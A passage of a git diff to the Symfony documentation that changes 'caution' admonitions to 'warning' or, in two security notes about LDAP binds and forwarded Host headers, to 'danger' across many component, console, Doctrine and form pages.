     level array key (which matches the extension name) is already stripped off.
diff --git a/components/console/changing_default_command.rst b/components/console/changing_default_command.rst
index b739e3b39ba..c69995ea395 100644
--- a/components/console/changing_default_command.rst
+++ b/components/console/changing_default_command.rst
@@ -52,7 +52,7 @@ This will print the following to the command line:
 
     Hello World
 
-.. caution::
+.. warning::
 
     This feature has a limitation: you cannot pass any argument or option to
     the default command because they are ignored.
diff --git a/components/console/events.rst b/components/console/events.rst
index af1bc86a588..ab497068979 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -14,7 +14,7 @@ the wheel, it uses the Symfony EventDispatcher component to do the work::
     $application->setDispatcher($dispatcher);
     $application->run();
 
-.. caution::
+.. warning::
 
     Console events are only triggered by the main command being executed.
     Commands called by the main command will not trigger any event, unless
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 47288fef1af..445fb1dda88 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -327,7 +327,7 @@ to display it can be customized::
     // the bar width
     $progressBar->setBarWidth(50);
 
-.. caution::
+.. warning::
 
     For performance reasons, Symfony redraws the screen once every 100ms. If this is too
     fast or too slow for your application, use the methods
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index e33c4ed5fa7..2670ec3084a 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -329,7 +329,7 @@ convenient for passwords::
         return Command::SUCCESS;
     }
 
-.. caution::
+.. warning::
 
     When you ask for a hidden response, Symfony will use either a binary, change
     ``stty`` mode or use another trick to hide the response. If none is available,
@@ -392,7 +392,7 @@ method::
         return Command::SUCCESS;
     }
 
-.. caution::
+.. warning::
 
     The normalizer is called first and the returned value is used as the input
     of the validator. If the answer is invalid, don't throw exceptions in the
@@ -540,7 +540,7 @@ This way you can test any user interaction (even complex ones) by passing the ap
     simulates a user hitting ``ENTER`` after each input, no need for passing
     an additional input.
 
-.. caution::
+.. warning::
 
     On Windows systems Symfony uses a special binary to implement hidden
     questions. This means that those questions don't use the default ``Input``
diff --git a/components/finder.rst b/components/finder.rst
index 063984b7d45..7cc580333e7 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -41,7 +41,7 @@ The ``$file`` variable is an instance of
 :class:`Symfony\\Component\\Finder\\SplFileInfo` which extends PHP's own
 :phpclass:`SplFileInfo` to provide methods to work with relative paths.
 
-.. caution::
+.. warning::
 
     The ``Finder`` object doesn't reset its internal state automatically.
     This means that you need to create a new instance if you do not want
diff --git a/components/form.rst b/components/form.rst
index 42a5a00bbae..e4b1c9a67e9 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -640,7 +640,7 @@ method:
 
         // ...
 
-.. caution::
+.. warning::
 
     The form's ``createView()`` method should be called *after* ``handleRequest()`` is
     called. Otherwise, when using :doc:`form events </form/events>`, changes done
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 83205db98f5..351a2123b90 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -494,7 +494,7 @@ you will trigger the ``kernel.terminate`` event where you can perform certain
 actions that you may have delayed in order to return the response as quickly
 as possible to the client (e.g. sending emails).
 
-.. caution::
+.. warning::
 
     Internally, the HttpKernel makes use of the :phpfunction:`fastcgi_finish_request`
     PHP function. This means that at the moment, only the `PHP FPM`_ server
diff --git a/components/ldap.rst b/components/ldap.rst
index 89094fad0b7..f5a142ced9f 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -70,7 +70,7 @@ distinguished name (DN) and the password of a user::
 
     $ldap->bind($dn, $password);
 
-.. caution::
+.. danger::
 
     When the LDAP server allows unauthenticated binds, a blank password will always be valid.
 
diff --git a/components/lock.rst b/components/lock.rst
index 5ce828fb4fc..fb7efeb2b77 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -359,7 +359,7 @@ lose the lock it acquired automatically::
         throw new \Exception('Process failed');
     }
 
-.. caution::
+.. warning::
 
     A common pitfall might be to use the ``isAcquired()`` method to check if
     a lock has already been acquired by any process. As you can see in this example
@@ -422,7 +422,7 @@ when the PHP process ends)::
     // if none is given, sys_get_temp_dir() is used internally.
     $store = new FlockStore('/var/stores');
 
-.. caution::
+.. warning::
 
     Beware that some file systems (such as some types of NFS) do not support
     locking. In those cases, it's better to use a directory on a local disk
@@ -678,7 +678,7 @@ the stores::
 
     $store = new CombinedStore($stores, new UnanimousStrategy());
 
-.. caution::
+.. warning::
 
     In order to get high availability when using the ``ConsensusStrategy``, the
     minimum cluster size must be three servers. This allows the cluster to keep
@@ -730,7 +730,7 @@ the ``Lock``.
 Every concurrent process must store the ``Lock`` on the same server. Otherwise two
 different machines may allow two different processes to acquire the same ``Lock``.
 
-.. caution::
+.. warning::
 
     To guarantee that the same server will always be safe, do not use Memcached
     behind a LoadBalancer, a cluster or round-robin DNS. Even if the main server
@@ -772,12 +772,12 @@ Using the above methods, a robust code would be::
         // Perform the task whose duration MUST be less than 5 seconds
     }
 
-.. caution::
+.. warning::
 
     Choose wisely the lifetime of the ``Lock`` and check whether its remaining
     time to live is enough to perform the task.
 
-.. caution::
+.. warning::
 
     Storing a ``Lock`` usually takes a few milliseconds, but network conditions
     may increase that time a lot (up to a few seconds). Take that into account
@@ -786,7 +786,7 @@ Using the above methods, a robust code would be::
 By design, locks are stored on servers with a defined lifetime. If the date or
 time of the machine changes, a lock could be released sooner than expected.
 
-.. caution::
+.. warning::
 
     To guarantee that date won't change, the NTP service should be disabled
     and the date should be updated when the service is stopped.
@@ -808,7 +808,7 @@ deployments.
 
 Some file systems (such as some types of NFS) do not support locking.
 
-.. caution::
+.. warning::
 
     All concurrent processes must use the same physical file system by running
     on the same machine and using the same absolute path to the lock directory.
@@ -837,7 +837,7 @@ and may disappear by mistake at any time.
 If the Memcached service or the machine hosting it restarts, every lock would
 be lost without notifying the running processes.
 
-.. caution::
+.. warning::
 
     To avoid that someone else acquires a lock after a restart, it's recommended
     to delay service start and wait at least as long as the longest lock TTL.
@@ -845,7 +845,7 @@ be lost without notifying the running processes.
 By default Memcached uses a LRU mechanism to remove old entries when the service
 needs space to add new items.
 
-.. caution::
+.. warning::
 
     The number of items stored in Memcached must be under control. If it's not
     possible, LRU should be disabled and Lock should be stored in a dedicated
@@ -863,7 +863,7 @@ method uses the Memcached's ``flush()`` method which purges and removes everythi
 MongoDbStore
 ~~~~~~~~~~~~
 
-.. caution::
+.. warning::
 
     The locked resource name is indexed in the ``_id`` field of the lock
     collection. Beware that an indexed field's value in MongoDB can be
@@ -889,7 +889,7 @@ about `Expire Data from Collections by Setting TTL`_ in MongoDB.
     recommended to set constructor option ``gcProbability`` to ``0.0`` to
     disable this behavior if you have manually dealt with TTL index creation.
 
-.. caution::
+.. warning::
 
     This store relies on all PHP application and database nodes to have
     synchronized clocks for lock expiry to occur at the correct time. To ensure
@@ -906,12 +906,12 @@ PdoStore
 
 The PdoStore relies on the `ACID`_ properties of the SQL engine.
 
-.. caution::
+.. warning::
 
     In a cluster configured with multiple primaries, ensure writes are
     synchronously propagated to every node, or always use the same node.
 
-.. caution::
+.. warning::
 
     Some SQL engines like MySQL allow to disable the unique constraint check.
     Ensure that this is not the case ``SET unique_checks=1;``.
@@ -920,7 +920,7 @@ In order to purge old locks, this store uses a current datetime to define an
 expiration date reference. This mechanism relies on all server nodes to
 have synchronized clocks.
 
-.. caution::
+.. warning::
 
     To ensure locks don't expire prematurely; the TTLs should be set with
     enough extra time to account for any clock drift between nodes.
@@ -949,7 +949,7 @@ and may disappear by mistake at any time.
 If the Redis service or the machine hosting it restarts, every locks would
 be lost without notifying the running processes.
 
-.. caution::
+.. warning::
 
     To avoid that someone else acquires a lock after a restart, it's recommended
     to delay service start and wait at least as long as the longest lock TTL.
@@ -977,7 +977,7 @@ The ``CombinedStore`` will be, at best, as reliable as the least reliable of
 all managed stores. As soon as one managed store returns erroneous information,
 the ``CombinedStore`` won't be reliable.
 
-.. caution::
+.. warning::
 
     All concurrent processes must use the same configuration, with the same
     amount of managed stored and the same endpoint.
@@ -995,13 +995,13 @@ must run on the same machine, virtual machine or container. Be careful when
 updating a Kubernetes or Swarm service because for a short period of time, there
 can be two running containers in parallel.
 
-.. caution::
+.. warning::
 
     All concurrent processes must use the same machine. Before starting a
     concurrent process on a new machine, check that other processes are stopped
     on the old one.
 
-.. caution::
+.. warning::
 
     When running on systemd with non-system user and option ``RemoveIPC=yes``
     (default value), locks are deleted by systemd when that user logs out.
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 3d9310b918d..6b033a1b69c 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -485,7 +485,7 @@ these options, you can return the desired default value::
         }
     }
 
-.. caution::
+.. warning::
 
     The argument of the callable must be type hinted as ``Options``. Otherwise,
     the callable itself is considered as the default value of the option.
@@ -699,7 +699,7 @@ to the closure to access to them::
         }
     }
 
-.. caution::
+.. warning::
 
     The arguments of the closure must be type hinted as ``OptionsResolver`` and
     ``Options`` respectively. Otherwise, the closure itself is considered as the
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 699901ccd18..5a2c508b68d 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -634,7 +634,7 @@ test::
 
 And that's all!
 
-.. caution::
+.. warning::
 
     Time-based function mocking follows the `PHP namespace resolutions rules`_
     so "fully qualified function calls" (e.g ``\time()``) cannot be mocked.
diff --git a/components/process.rst b/components/process.rst
index 89cbf584b51..10e7e0777af 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -108,7 +108,7 @@ You can configure the options passed to the ``other_options`` argument of
     // this option allows a subprocess to continue running after the main script exited
     $process->setOptions(['create_new_console' => true]);
 
-.. caution::
+.. warning::
 
     Most of the options defined by ``proc_open()`` (such as ``create_new_console``
     and ``suppress_errors``) are only supported on Windows operating systems.
@@ -542,7 +542,7 @@ Use :method:`Symfony\\Component\\Process\\Process::disableOutput` and
     $process->disableOutput();
     $process->run();
 
-.. caution::
+.. warning::
 
     You cannot enable or disable the output while the process is running.
 
diff --git a/components/property_access.rst b/components/property_access.rst
index 717012d6710..9944ad05273 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -119,7 +119,7 @@ To read from properties, use the "dot" notation::
 
     var_dump($propertyAccessor->getValue($person, 'children[0].firstName')); // 'Bar'
 
-.. caution::
+.. warning::
 
     Accessing public properties is the last option used by ``PropertyAccessor``.
     It tries to access the value using the below methods first before using
@@ -271,7 +271,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
 
     var_dump($propertyAccessor->getValue($person, 'Wouter')); // [...]
 
-.. caution::
+.. warning::
 
     When implementing the magic ``__get()`` method, you also need to implement
     ``__isset()``.
@@ -312,7 +312,7 @@ enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\Propert
 
     var_dump($propertyAccessor->getValue($person, 'wouter')); // [...]
 
-.. caution::
+.. warning::
 
     The ``__call()`` feature is disabled by default, you can enable it by calling
     :method:`Symfony\\Component\\PropertyAccess\\PropertyAccessorBuilder::enableMagicCall`
diff --git a/components/runtime.rst b/components/runtime.rst
index 7d17e7e7456..d357bdb8aea 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -42,7 +42,7 @@ the component. This file runs the following logic:
 #. At last, the Runtime is used to run the application (i.e. calling
    ``$kernel->handle(Request::createFromGlobals())->send()``).
 
-.. caution::
+.. warning::
 
     If you use the Composer ``--no-plugins`` option, the ``autoload_runtime.php``
     file won't be created.
diff --git a/components/uid.rst b/components/uid.rst
index 7b929500cee..b286329151d 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -348,7 +348,7 @@ entity primary keys::
         // ...
     }
 
-.. caution::
+.. warning::
 
     Using UUIDs as primary keys is usually not recommended for performance reasons:
     indexes are slower and take more space (because UUIDs in binary format take
@@ -544,7 +544,7 @@ entity primary keys::
         // ...
     }
 
-.. caution::
+.. warning::
 
     Using ULIDs as primary keys is usually not recommended for performance reasons.
     Although ULIDs don't suffer from index fragmentation issues (because the values
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index ba27073acab..b5f5acdac14 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -232,7 +232,7 @@ You can set this custom implementation using
         ->setMetadataFactory(new CustomMetadataFactory(...))
         ->getValidator();
 
-.. caution::
+.. warning::
 
     Since you are using a custom metadata factory, you can't configure loaders
     and caches using the ``add*Mapping()`` methods anymore. You now have to
diff --git a/configuration.rst b/configuration.rst
index 3ddcf453dd7..a4ffc2866e1 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -271,7 +271,7 @@ reusable configuration value. By convention, parameters are defined under the
 
         // ...
 
-.. caution::
+.. warning::
 
     By default and when using XML configuration, the values between ``<parameter>``
     tags are not trimmed. This means that the value of the following parameter will be
@@ -811,7 +811,7 @@ Use environment variables in values by prefixing variables with ``$``:
     DB_USER=root
     DB_PASS=${DB_USER}pass # include the user as a password prefix
 
-.. caution::
+.. warning::
 
     The order is important when some env var depends on the value of other env
     vars. In the above example, ``DB_PASS`` must be defined after ``DB_USER``.
@@ -832,7 +832,7 @@ Embed commands via ``$()`` (not supported on Windows):
 
     START_TIME=$(date)
 
-.. caution::
+.. warning::
 
     Using ``$()`` might not work depending on your shell.
 
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 475a078c0a5..1e57fd65387 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -691,7 +691,7 @@ Symfony provides the following env var processors:
                 ],
             ]);
 
-    .. caution::
+    .. warning::
 
         In order to ease extraction of the resource from the URL, the leading
         ``/`` is trimmed from the ``path`` component.
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 4cef8b0d09e..dd857fff243 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -227,7 +227,7 @@ but it should typically be added to your web server configuration.
     # .env
     APP_ID=api
 
-.. caution::
+.. warning::
 
     The value of this variable must match the application directory within
     ``apps/`` as it is used in the Kernel to load the specific application
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index d17b67aedba..e5dff35b6d0 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -111,7 +111,7 @@ In this case you have changed the location of the cache directory to
 You can also change the cache directory by defining an environment variable
 named ``APP_CACHE_DIR`` whose value is the full path of the cache folder.
 
-.. caution::
+.. warning::
 
     You should keep the cache directory different for each environment,
     otherwise some unexpected behavior may happen. Each environment generates
diff --git a/console.rst b/console.rst
index 6c4270dcf54..baab4aff4a7 100644
--- a/console.rst
+++ b/console.rst
@@ -391,7 +391,7 @@ Output sections let you manipulate the Console output in advanced ways, such as
 are updated independently and :ref:`appending rows to tables <console-modify-rendered-tables>`
 that have already been rendered.
 
-.. caution::
+.. warning::
 
     Terminals only allow overwriting the visible content, so you must take into
     account the console height when trying to write/overwrite section contents.
@@ -556,13 +556,13 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
     You can also test a whole console application by using
     :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester`.
 
-.. caution::
+.. warning::
 
     When testing commands using the ``CommandTester`` class, console events are
     not dispatched. If you need to test those events, use the
     :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester` instead.
 
-.. caution::
+.. warning::
 
     When testing commands using the :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester`
     class, don't forget to disable the auto exit flag::
@@ -572,7 +572,7 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
 
         $tester = new ApplicationTester($application);
 
-.. caution::
+.. warning::
 
     When testing ``InputOption::VALUE_NONE`` command options, you must pass ``true``
     to them::
@@ -649,7 +649,7 @@ profile is accessible through the web page of the profiler.
     terminal supports links). If you run it in debug verbosity (``-vvv``) you'll
     also see the time and memory consumed by the command.
 
-.. caution::
+.. warning::
 
     When profiling the ``messenger:consume`` command from the :doc:`Messenger </messenger>`
     component, add the ``--no-reset`` option to the command or you won't get any
diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index c5bfc6e5a72..7780fca467e 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -57,7 +57,7 @@ method)::
     ``$this->getApplication()->find('demo:greet')->run()`` will allow proper
     events to be dispatched for that inner command as well.
 
-.. caution::
+.. warning::
 
     Note that all the commands will run in the same process and some of Symfony's
     built-in commands may not work well this way. For instance, the ``cache:clear``
diff --git a/console/command_in_controller.rst b/console/command_in_controller.rst
index 64475bff103..74af9e17c15 100644
--- a/console/command_in_controller.rst
+++ b/console/command_in_controller.rst
@@ -11,7 +11,7 @@ service that can be reused in the controller. However, when the command is part
 of a third-party library, you don't want to modify or duplicate their code.
 Instead, you can run the command directly from the controller.
 
-.. caution::
+.. warning::
 
     In comparison with a direct call from the console, calling a command from
     a controller has a slight performance impact because of the request stack
diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index 75aa13d5be8..1393879a1df 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -51,7 +51,7 @@ argument (thanks to autowiring). In other words, you only need to create this
 class and everything works automatically! You can call the ``app:sunshine``
 command and start logging.
 
-.. caution::
+.. warning::
 
     You *do* have access to services in ``configure()``. However, if your command is
     not :ref:`lazy <console-command-service-lazy-loading>`, try to avoid doing any
@@ -130,7 +130,7 @@ only when the ``app:sunshine`` command is actually called.
 
     You don't need to call ``setName()`` for configuring the command when it is lazy.
 
-.. caution::
+.. warning::
 
     Calling the ``list`` command will instantiate all commands, including lazy commands.
     However, if the command is a ``Symfony\Component\Console\Command\LazyCommand``, then
diff --git a/console/input.rst b/console/input.rst
index ed637bdba74..5ec9cf3ae04 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -197,7 +197,7 @@ values after a whitespace or an ``=`` sign (e.g. ``--iterations 5`` or
 ``--iterations=5``), but short options can only use whitespaces or no
 separation at all (e.g. ``-i 5`` or ``-i5``).
 
-.. caution::
+.. warning::
 
     While it is possible to separate an option from its value with a whitespace,
     using this form leads to an ambiguity should the option appear before the
diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index cff99a1554f..497c70fb01d 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -30,7 +30,7 @@ The second section, "Working on Symfony Code", is targeted at Symfony
 contributors. This section lists detailed rules that every contributor needs to
 follow to ensure smooth upgrades for our users.
 
-.. caution::
+.. warning::
 
     :doc:`Experimental Features </contributing/code/experimental>` and code
     marked with the ``@internal`` tags are excluded from our Backward
@@ -53,7 +53,7 @@ All interfaces shipped with Symfony can be used in type hints. You can also call
 any of the methods that they declare. We guarantee that we won't break code that
 sticks to these rules.
 
-.. caution::
+.. warning::
 
     The exception to this rule are interfaces tagged with ``@internal``. Such
     interfaces should not be used or implemented.
@@ -89,7 +89,7 @@ Using our Classes
 All classes provided by Symfony may be instantiated and accessed through their
 public methods and properties.
 
-.. caution::
+.. warning::
 
     Classes, properties and methods that bear the tag ``@internal`` as well as
     the classes located in the various ``*\Tests\`` namespaces are an
@@ -146,7 +146,7 @@ Using our Traits
 
 All traits provided by Symfony may be used in your classes.
 
-.. caution::
+.. warning::
 
     The exception to this rule are traits tagged with ``@internal``. Such
     traits should not be used.
diff --git a/contributing/code/bugs.rst b/contributing/code/bugs.rst
index fba68617ee3..b0a46766026 100644
--- a/contributing/code/bugs.rst
+++ b/contributing/code/bugs.rst
@@ -4,7 +4,7 @@ Reporting a Bug
 Whenever you find a bug in Symfony, we kindly ask you to report it. It helps
 us make a better Symfony.
 
-.. caution::
+.. warning::
 
     If you think you've found a security issue, please use the special
     :doc:`procedure <security>` instead.
diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index ac93483c011..e581d0382e4 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -16,7 +16,7 @@ source code.
 If you want to learn more about this format, check out the `reStructuredText Primer`_
 tutorial and the `reStructuredText Reference`_.
 
-.. caution::
+.. warning::
 
     If you are familiar with Markdown, be careful as things are sometimes very
     similar but different:
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 420780d25f5..5e195d008fd 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -122,7 +122,7 @@ Example
         }
     }
 
-.. caution::
+.. warning::
 
     In YAML you should put a space after ``{`` and before ``}`` (e.g. ``{ _controller: ... }``),
     but this should not be done in Twig (e.g.  ``{'hello' : 'value'}``).
diff --git a/deployment.rst b/deployment.rst
index 3edbc34dd6b..864ebc7a963 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -184,7 +184,7 @@ as you normally do:
     significantly by building a "class map". The ``--no-dev`` flag ensures that
     development packages are not installed in the production environment.
 
-.. caution::
+.. warning::
 
     If you get a "class not found" error during this step, you may need to
     run ``export APP_ENV=prod`` (or ``export SYMFONY_ENV=prod`` if you're not
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index dcef631648f..f72fe74aee7 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -82,7 +82,7 @@ and what headers your reverse proxy uses to send information:
             ;
         };
 
-.. caution::
+.. danger::
 
     Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the
     application to `HTTP Host header attacks`_. Make sure the proxy really
diff --git a/doctrine.rst b/doctrine.rst
index bbc4b3c3621..103ba869611 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -58,7 +58,7 @@ The database connection information is stored as an environment variable called
     # to use oracle:
     # DATABASE_URL="oci8://db_user:db_password@127.0.0.1:1521/db_name"
 
-.. caution::
+.. warning::
 
     If the username, password, host or database name contain any character considered
     special in a URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``),
@@ -180,7 +180,7 @@ Whoa! You now have a new ``src/Entity/Product.php`` file::
     column with default value NULL*. Add a ``nullable=true`` option to the
     ``description`` property to fix the problem.
 
-.. caution::
+.. warning::
 
     There is a `limit of 767 bytes for the index key prefix`_ when using
     InnoDB tables in MySQL 5.6 and earlier versions. String columns with 255
@@ -210,7 +210,7 @@ If you want to use XML instead of attributes, add ``type: xml`` and
 ``dir: '%kernel.project_dir%/config/doctrine'`` to the entity mappings in your
 ``config/packages/doctrine.yaml`` file.
 
-.. caution::
+.. warning::
 
     Be careful not to use reserved SQL keywords as your table or column names
     (e.g. ``GROUP`` or ``USER``). See Doctrine's `Reserved SQL keywords documentation`_
diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index 1b3aa4aa185..e5b21819f58 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -132,7 +132,7 @@ In Symfony, you can register your custom DQL functions as follows:
                             ->datetimeFunction('test_datetime', DatetimeFunction::class);
             };
 
-.. caution::
+.. warning::
 
     DQL functions are instantiated by Doctrine outside of the Symfony
     :doc:`service container </service_container>` so you can't inject services
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 014d9e4dccb..1a56c55ddad 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -15,7 +15,7 @@ entities, each with their own database connection strings or separate cache conf
     advanced and not usually required. Be sure you actually need multiple
     entity managers before adding in this layer of complexity.
 
-.. caution::
+.. warning::
 
     Entities cannot define associations across different entity managers. If you
     need that, there are `several alternatives`_ that require some custom setup.
@@ -142,7 +142,7 @@ and ``customer``. The ``default`` entity manager manages entities in the
 entities in ``src/Entity/Customer``. You've also defined two connections, one
 for each entity manager, but you are free to define the same connection for both.
 
-.. caution::
+.. warning::
 
     When working with multiple connections and entity managers, you should be
     explicit about which configuration you want. If you *do* omit the name of
@@ -251,7 +251,7 @@ The same applies to repository calls::
         }
     }
 
-.. caution::
+.. warning::
 
     One entity can be managed by more than one entity manager. This however
     results in unexpected behavior when extending from ``ServiceEntityRepository``
diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index 35c8e729c2d..7f1ea793958 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -1,7 +1,7 @@
 How to Generate Entities from an Existing Database
 ==================================================
 
-.. caution::
+.. warning::
 
     The ``doctrine:mapping:import`` command used to generate Doctrine entities
     from existing databases was deprecated by Doctrine in 2019 and there's no
diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 400747bba12..db098a1ba09 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -171,7 +171,7 @@ class to the label:
         ],
         // ...
 
-.. caution::
+.. warning::
 
     Switches only work with **checkbox**.
 
@@ -201,7 +201,7 @@ class to the ``row_attr`` option.
             }
         }) }}
 
-.. caution::
+.. warning::
 
     If you fill the ``help`` option of your form, it will also be rendered
     as part of the group.
@@ -239,7 +239,7 @@ of your form type.
             }
         }) }}
 
-.. caution::
+.. warning::
 
     You **must** provide a ``label`` and a ``placeholder`` to make floating
     labels work properly.
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 709f3321544..0d92a967fa0 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -449,7 +449,7 @@ are some examples of Twig block names for the postal address type:
 ``postal_address_zipCode_label``
     The label block of the ZIP Code field.
 
-.. caution::
+.. warning::
 
     When the name of your form class matches any of the built-in field types,
     your form might not be rendered correctly. A form type named
diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index cb5c7936701..38c92ce35ae 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -126,7 +126,7 @@ in your form type::
         }
     }
 
-.. caution::
+.. warning::
 
     The data passed to the mapper is *not yet validated*. This means that your
     objects should allow being created in an invalid state in order to produce
@@ -215,7 +215,7 @@ If available, these options have priority over the property path accessor and
 the default data mapper will still use the :doc:`PropertyAccess component </components/property_access>`
 for the other form fields.
 
-.. caution::
+.. warning::
 
     When a form has the ``inherit_data`` option set to ``true``, it does not use the data mapper and
     lets its parent map inner values.
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 4e81fc3e930..db051a04bbc 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -8,7 +8,7 @@ can be rendered as a ``yyyy-MM-dd``-formatted input text box. Internally, a data
 converts the ``DateTime`` value of the field to a ``yyyy-MM-dd`` formatted string
 when rendering the form, and then back to a ``DateTime`` object on submit.
 
-.. caution::
+.. warning::
 
     When a form field has the ``inherit_data`` option set to ``true``, data transformers
     are not applied to that field.
@@ -340,7 +340,7 @@ that, after a successful submission, the Form component will pass a real
 If the issue isn't found, a form error will be created for that field and
 its error message can be controlled with the ``invalid_message`` field option.
 
-.. caution::
+.. warning::
 
     Be careful when adding your transformers. For example, the following is **wrong**,
     as the transformer would be applied to the entire form, instead of just this
@@ -472,7 +472,7 @@ Which transformer you need depends on your situation.
 
 To use the view transformer, call ``addViewTransformer()``.
 
-.. caution::
+.. warning::
 
     Be careful with model transformers and
     :doc:`Collection </reference/forms/types/collection>` field types.
diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index 7b98134af18..7a08fb6978a 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -65,7 +65,7 @@ the fields defined by the form class. Otherwise, you'll see a form validation er
     argument to ``submit()``. Passing ``false`` will remove any missing fields
     within the form object. Otherwise, the missing fields will be set to ``null``.
 
-.. caution::
+.. warning::
 
     When the second parameter ``$clearMissing`` is ``false``, like with the
     "PATCH" method, the validation will only apply to the submitted fields. If
diff --git a/form/events.rst b/form/events.rst
index 745df2df453..dad6c242ddd 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -192,7 +192,7 @@ Form view data        Same as in ``FormEvents::POST_SET_DATA``
     See all form events at a glance in the
     :ref:`Form Events Information Table <component-form-event-table>`.
 
-.. caution::
+.. warning::
 
     At this point, you cannot add or remove fields to the form.
 
@@ -225,7 +225,7 @@ Form view data        Normalized data transformed using a view transformer
     See all form events at a glance in the
     :ref:`Form Events Information Table <component-form-event-table>`.
 
-.. caution::
+.. warning::
 
     At this point, you cannot add or remove fields to the current form and its
     children.
diff --git a/form/form_collections.rst b/form/form_collections.rst
index f0ad76a8a61..2a0ba99657f 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -195,7 +195,7 @@ then set on the ``tag`` field of the ``Task`` and can be accessed via ``$task->g
 So far, this works great, but only to edit *existing* tags. It doesn't allow us
 yet to add new tags or delete existing ones.
 
-.. caution::
+.. warning::
 
     You can embed nested collections as many levels down as you like. However,
     if you use Xdebug, you may receive a ``Maximum function nesting level of '100'
@@ -427,13 +427,13 @@ That was fine, but forcing the use of the "adder" method makes handling
 these new ``Tag`` objects easier (especially if you're using Doctrine, which
 you will learn about next!).
 
-.. caution::
+.. warning::
 
     You have to create **both** ``addTag()`` and ``removeTag()`` methods,
     otherwise the form will still use ``setTag()`` even if ``by_reference`` is ``false``.
     You'll learn more about the ``removeTag()`` method later in this article.
 
-.. caution::
+.. warning::
 
     Symfony can only make the plural-to-singular conversion (e.g. from the
     ``tags`` property to the ``addTag()`` method) for English words. Code
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 3f3cd0bbc89..1c23601a883 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -74,7 +74,7 @@ control over how each form field is rendered, so you can fully customize them:
         </div>
     </div>
 
-.. caution::
+.. warning::
 
    If you're rendering each field manually, make sure you don't forget the
    ``_token`` field that is automatically added for CSRF protection.
@@ -305,7 +305,7 @@ Renders any errors for the given field.
     {# render any "global" errors not associated to any form field #}
     {{ form_errors(form) }}
 
-.. caution::
